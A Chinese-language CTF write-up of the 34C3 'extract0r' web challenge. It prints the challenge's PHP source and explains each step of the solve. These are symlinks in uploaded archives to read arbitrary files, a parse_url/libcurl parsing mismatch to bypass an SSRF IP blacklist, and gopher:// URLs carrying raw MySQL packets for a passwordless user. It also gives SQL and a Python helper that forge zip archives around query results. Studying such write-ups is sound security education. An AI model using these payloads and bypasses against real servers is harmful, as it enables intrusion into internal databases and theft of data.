您好,登錄后才能下訂單哦!
這篇文章給大家介紹Gopher是怎樣攻擊MySql,內容非常詳細,感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。
34c3CTF web中的extract0r。
題中的目是一個安全解壓服務,用戶輸入zip的url地址,程序對url進行合法性校驗后會下載該zip,然后為用戶創建一個目錄,把文件解壓進去
經過測試,發現輸入的域名中不能含有數字,并且壓縮文件中不能含有目錄,解壓后的目錄不解析php。通過上傳一個含有符號鏈接文件的壓縮包,可以達到任意文件讀取的效果。
ln -s ../index.php test_link 7za a -t7z -r test.7z test
上傳后訪問test_link
得到源代碼
<?php session_start(); url.php function get_directory($new=false) { if (!isset($_SESSION["directory"]) || $new) { $_SESSION["directory"] = "files/" . sha1(random_bytes(100)); } $directory = $_SESSION["directory"]; if (!is_dir($directory)) { mkdir($directory); } return $directory; } function clear_directory() { $dir = get_directory(); $files = glob($dir . '/*'); foreach($files as $file) { if(is_file($file) || is_link($file)) { unlink($file); } else if (is_dir($file)) { rmdir($file); } } } function verify_archive($path) { $res = shell_exec("7z l " . escapeshellarg($path) . " -slt"); $line = strtok($res, "\n"); $file_cnt = 0; $total_size = 0; while ($line !== false) { preg_match("/^Size = ([0-9]+)/", $line, $m); if ($m) { $file_cnt++; $total_size += (int)$m[1]; } $line = strtok( "\n" ); } if ($total_size === 0) { return "Archive's size 0 not supported"; } if ($total_size > 1024*10) { return "Archive's total uncompressed size exceeds 10KB"; } if ($file_cnt === 0) { return "Archive is empty"; } if ($file_cnt > 5) { return "Archive contains more than 5 files"; } return 0; } function verify_extracted($directory) { //遍歷解壓后的目錄下的所有文件 $files = glob($directory . '/*'); $cntr = 0; foreach($files as $file) { if (!is_file($file)) { //如果不是文件就刪除 $cntr++; unlink($file); @rmdir($file); } } return $cntr; } function decompress($s) { $directory = get_directory(true); $archive = tempnam("/tmp/", "archive_"); file_put_contents($archive, $s); $error = verify_archive($archive); if ($error) { unlink($archive); error($error); } shell_exec("7z e ". escapeshellarg($archive) . " -o" . escapeshellarg($directory) . " -y"); unlink($archive); return verify_extracted($directory); } function error($s) { clear_directory(); die("<h3><b>ERROR</b></h3> " . htmlspecialchars($s)); } $msg = ""; if (isset($_GET["url"])) { $page = get_contents($_GET["url"]); if (strlen($page) === 0) { error("0 bytes fetched. Looks like your file is empty."); } else { $deleted_dirs = decompress($page); $msg = "<h4>Done!</h4> Your files were extracted if you provided a valid archive."; if ($deleted_dirs > 0) { $msg .= "<h4>WARNING:</h4> we have deleted some folders from your archive for security reasons with our <a href='cyber_filter'>cyber-enabled filtering system</a>!"; } } } ?>
<?php function in_cidr($cidr, $ip) { list($prefix, $mask) = explode("/", $cidr); return 0 === (((ip2long($ip) ^ ip2long($prefix)) >> (32-$mask)) << (32-$mask)); } function get_port($url_parts) { if (array_key_exists("port", $url_parts)) { return $url_parts["port"]; } else if (array_key_exists("scheme", $url_parts)) { return $url_parts["scheme"] === "https" ? 443 : 80; } else { return 80; } } function clean_parts($parts) { // oranges are not welcome here $blacklisted = "/[ \x08\x09\x0a\x0b\x0c\x0d\x0e:\d]/"; if (array_key_exists("scheme", $parts)) { $parts["scheme"] = preg_replace($blacklisted, "", $parts["scheme"]); } if (array_key_exists("user", $parts)) { $parts["user"] = preg_replace($blacklisted, "", $parts["user"]); } if (array_key_exists("pass", $parts)) { $parts["pass"] = preg_replace($blacklisted, "", $parts["pass"]); } if (array_key_exists("host", $parts)) { $parts["host"] = preg_replace($blacklisted, "", $parts["host"]); } return $parts; } function rebuild_url($parts) { $url = ""; $url .= $parts["scheme"] . "://"; $url .= !empty($parts["user"]) ? $parts["user"] : ""; $url .= !empty($parts["pass"]) ? ":" . $parts["pass"] : ""; $url .= (!empty($parts["user"]) || !empty($parts["pass"])) ? "@" : ""; $url .= $parts["host"]; $url .= !empty($parts["port"]) ? ":" . (int) $parts["port"] : ""; $url .= !empty($parts["path"]) ? "/" . substr($parts["path"], 1) : ""; $url .= !empty($parts["query"]) ? "?" . $parts["query"] : ""; $url .= !empty($parts["fragment"]) ? "#" . $parts["fragment"] : ""; return $url; } function get_contents($url) { $disallowed_cidrs = [ "127.0.0.0/8", "169.254.0.0/16", "0.0.0.0/8", "10.0.0.0/8", "192.168.0.0/16", "14.0.0.0/8", "24.0.0.0/8", "172.16.0.0/12", "191.255.0.0/16", "192.0.0.0/24", "192.88.99.0/24", "255.255.255.255/32", "240.0.0.0/4", "224.0.0.0/4", "203.0.113.0/24", "198.51.100.0/24", "198.18.0.0/15", "192.0.2.0/24", "100.64.0.0/10" ]; for ($i = 0; $i < 5; $i++) { $url_parts = clean_parts(parse_url($url)); if (!$url_parts) { error("Couldn't parse your url!"); } if (!array_key_exists("scheme", $url_parts)) { error("There was no scheme in your url!"); } if (!array_key_exists("host", $url_parts)) { error("There was no host in your url!"); } $port = get_port($url_parts); $host = $url_parts["host"]; $ip = gethostbynamel($host)[0]; if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4|FILTER_FLAG_NO_PRIV_RANGE|FILTER_FLAG_NO_RES_RANGE)) { error("Couldn't resolve your host '{$host}' or the resolved ip '{$ip}' is blacklisted!"); } foreach ($disallowed_cidrs as $cidr) { if (in_cidr($cidr, $ip)) { error("That IP is in a blacklisted range ({$cidr})!"); } } // all good, rebuild url now $url = rebuild_url($url_parts); $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_MAXREDIRS, 0); curl_setopt($curl, CURLOPT_TIMEOUT, 3); curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 3); curl_setopt($curl,CURLOPT_SAFE_UPLOAD,0); curl_setopt($curl, CURLOPT_RESOLVE, array($host . ":" . $port . ":" . $ip)); //加一條緩存,防止dns rebinding curl_setopt($curl, CURLOPT_PORT, $port); $data = curl_exec($curl); if (curl_error($curl)) { error(curl_error($curl)); } $status = curl_getinfo($curl, CURLINFO_HTTP_CODE); if ($status >= 301 and $status <= 308) { $url = curl_getinfo($curl, CURLINFO_REDIRECT_URL); } else { return $data; } } error("More than 5 redirects!"); }
簡要分析代碼流程
經rebirth提醒,可以使用以.開頭的文件來繞過verify_extracted
中對鏈接目錄的檢測。ln -s / .a
把.a
打包上傳即可。這里是因為glob($dir . '/*');
*遍歷不到以.開頭的文件。故繞過了對文件類型的檢測,成功了鏈接到了根目錄。
翻一翻目錄會發現:/home/extract0r/create_a_backup_of_my_supersecret_flag.sh
這里創建了一個空密碼的mysql用戶,并且flag就在數據庫中。之前已經有利用gopher協議攻擊redis、fastcgi等的案例。我們可以試著利用gopher攻擊一下mysql。這里有兩個要點
繞過ip檢查,實現ssrf
研究mysql協議,構造payload
通過代碼邏輯我們可知
url->php parse_url(過濾ip)->過濾url各部分(空白字符和數字)->curl發送請求
這里可利用parse_url
和libcurl
對url解析的差異來繞過。經過測試,得出以下結論(我本地環境php 7.0.20-2 libcurl/7.52.1
)
完整url: scheme:[//[user[:password]@]host[:port]][/path][?query][#fragment] 這里僅討論url中不含'?'的情況 php parse_url: host: 匹配最后一個@后面符合格式的host libcurl: host:匹配第一個@后面符合格式的host 如: http://u:p@a.com:80@b.com/ php解析結果: schema: http host: b.com user: u pass: p@a.com:80 libcurl解析結果: schema: http host: a.com user: u pass: p port: 80 后面的@b.com/會被忽略掉
那么我們可以構造出一個域名,讓php解析出來的host是a.com,dns解析后ip不在黑名單,這樣就繞過了黑名單檢查。而libcurl實際請求時候是另外一個域名,這樣我們就可以實現任意ip請求了。
fuzz一下后得到以下結果
http://u:p:@a.com:3306@b.com/
http://u:@a.com:3306@b.com/
都可以實現php解析出來是b.com 而curl實際請求a.com:3306
但此題目中php解析url后在clean_parts
中過濾了空白字符和數字,所以以上url均不可用。
題目作者給出的url是:gopher://foo@[cafebabe.cf]@yolo.com:3306
剛開始不太理解,后來@rebirth告訴我在rfc3986是這樣定義url的:
A host identified by an Internet Protocol literal address, version 6 or later, is distinguished by enclosing the IP literal within square brackets ("[" and "]"). This is the only place where square bracket characters are allowed in the URI syntax.
IP-literal = "[" ( IPv6address / IPvFuture ) "]"
也就是說[ip]是一種host的形式,libcurl在解析時候認為[]包裹的是host
另外ricter大佬的gopher://foo@localhost:f@ricterz.me:3306/
在題目環境中是可用的,我本地不可用(題目的libcurl版本比我本地高)
研究的目的是為了構造出gopher連接mysql的payload,mysql協議分為4.0之前和4.0之后兩個版本,這里僅討論4.0之后的協議,mysql交互過程:
MySQL數據庫用戶認證采用的是挑戰/應答的方式,服務器生成該挑戰數(scramble)并發送給客戶端,客戶端用挑戰數加密密碼后返回相應結果,然后服務器檢查是否與預期的結果相同,從而完成用戶認證的過程。
登錄時需要用服務器發來的scramble加密密碼,但是當數據庫用戶密碼為空時,加密后的密文也為空。client給server發的認證包就是相對固定的了。這樣就無需交互,可以通過gopher協議來發送。
mysql數據包前需要加一個四字節的包頭。前三個字節代表包的長度,第四個字節代表包序,在一次完整的請求/響應交互過程中,用于保證消息順序的正確,每次客戶端發起請求時,序號值都會從0開始計算。
具體到抓包數據
4C0000//包大小76 小端字節序 00//序號0 0A//版本號 352E372E31382D3100//版本信息字符串,以\0結尾,內容為5.7.18-1 04000000//服務器線程id 6B69457B3C342E43//scramble前半部分8字節 00//固定0x00 FFF7//服務器權能標志低16位 用于與客戶端協商通訊方式 08//字符集,08代表utf-8 0200//服務器狀態 FF81//服務器權能標志高16位 15//挑戰串長度 00000000000000000000//10字節0x00 固定填充 3A6A02314D2661447951577F00//scramble后半部分12字節 以null結尾 6D7973716C5F6E61746976655F70617373776F726400//密碼加密方式,內容為mysql_native_password 對高版本來說沒什么用 無視即可
當用戶密碼為空時,認證包唯一的變量挑戰認證數據為0x00(NULL),所以認證包就是固定的了,不需要根據server發來的初始化包來計算了
這里順帶提一下密碼的算法為
hash2 = SHA1(password) //password是用戶輸入的密碼 result = hash2 ^ sha1(scramble+sha1(hash2))
命令報文相當簡單
第一個字節表示當前命令的類型,比如0x02(切換數據庫),0x03(SQL查詢)后面的參數就是要執行的sql語句了。
經過分析,執行一句sql語句時,發送了兩個packet(認證packet、命令packet) ,那么我們把兩個packet一起發給server端,server就會響應給我們結果。 packet的構造參見上文協議格式,需要注意的是mysql協議是小端字節序。
這里我用socket做一個簡單的測試,使用的是無密碼用戶,發送的sql語句是select now();
那么在php下,使用libcurl請求也是一樣的
php的payload最后加了四個空字節,這是為了讓server端解析第三個數據包時出錯,斷開與我們的連接。盡快返回數據,題目中curl的超時時間是3s
至此,我們完成了從gopher到sql執行。反觀題目,這里需要curl得到的響應是可以被解壓的。所以我們需要想辦法把查出來的數據構造成壓縮文件格式。
zip壓縮算法壓縮出來的文件一般包括四部分。
1.local file head 2.壓縮后的Deflate數據 3.central directory file head 4.end of central directory record
經過測試,7z是可以成功解壓一個格式合法的壓縮文件的,即使是文件CRC錯誤,部分字段異常。
那么思路就來了,利用sql語句構造查詢出zip的頭和尾部,把我們想要的數據concat到中間的Deflate部分即可。(7z解壓時候發現部分header異常,Deflate部分的數據會不經解壓直接寫入到解壓后的文件)
形如 select concat(zip_header,(the sql we want to execute), zip_eof)
針對zip具體的構造,不在贅述,參見zip算法詳解
這里我寫了一個函數幫助我們創建
from struct import * def create_zip(filename, content_size): content = '-'*content_size filename = pack('<%ds'%len(filename), filename) content_len_b = pack('<I', len(content)) filename_len_b = pack('<H', len(filename)) local_file_header = b"\x50\x4b\x03\x04\x0a\x00"+"\x00"*12 local_file_header += content_len_b*2 local_file_header += filename_len_b local_file_header += "\x00\x00" local_file_header += filename cd_file_header = b"\x50\x4b\x01\x02\x1e\x03\x0a\x00"+"\x00"*12+filename_len_b+"\x00"*16+filename cd_file_header_len_b = pack("<I", len(cd_file_header)) offset = pack("<I",len(local_file_header+cd_file_header)) eof_record = b"\x50\x4b\x05\x06"+"\x00"*4+"\x01\x00"*2+cd_file_header_len_b+offset+"\x00\x00" #return each party of zip return [local_file_header,content,cd_file_header+eof_record]
需要注意的是,zip的Deflate部分是保存文件壓縮后的內容,zip格式又要求必須給出Deflate部分的大小。這里我們只需把查出數據保存在Deflate部分,并且根據查詢結果的預期大小來指定Deflate部分的尺寸。
比如查詢select version()
時候Deflate大小20就夠了。 這里給出一個sql大家可以自行測試
select concat(cast(0x504b03040a00000000000000000000000000e8030000e803000010000000746869735f69735f7468655f666c6167 as binary), rpad((select now()), 1000, '-'), cast(0x504b01021e030a00000000000000000000000000100000000000000000000000000000000000746869735f69735f7468655f666c6167504b0506000000000100010036000000640000000000 as binary)) into dumpfile '/tmp/test.zip';
這里的1000就是Deflate數據部分占用大小。 至此我們也就完成了sql語句的構造,可以通過sql查出一個壓縮包格式的數據。并且解壓后的文件內容就是查詢結果。
那么梳理一下,先是通過符號鏈接,得到了一個沒有密碼的數據庫用戶。又通過parse_url
和libcurl
的解析差異,繞過了對ip的合法性校驗,從而可以實現ssrf任意ip。又通過分析mysql協議,發現空密碼用戶可以直接構造出packet執行sql語句。最終我們只需要輸入gopher://foo@[cafebabe.cf]@yolo.com:3306/_+(發送給mysql的packet)+(四個空字節)
就可以得到結果。
為了方便,我寫了一個簡單的mysql client,測試與mysql 的通信并生成payload。
輸入后:
有興趣的可以連接自己的mysql,dump出packet
關于Gopher是怎樣攻擊MySql就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。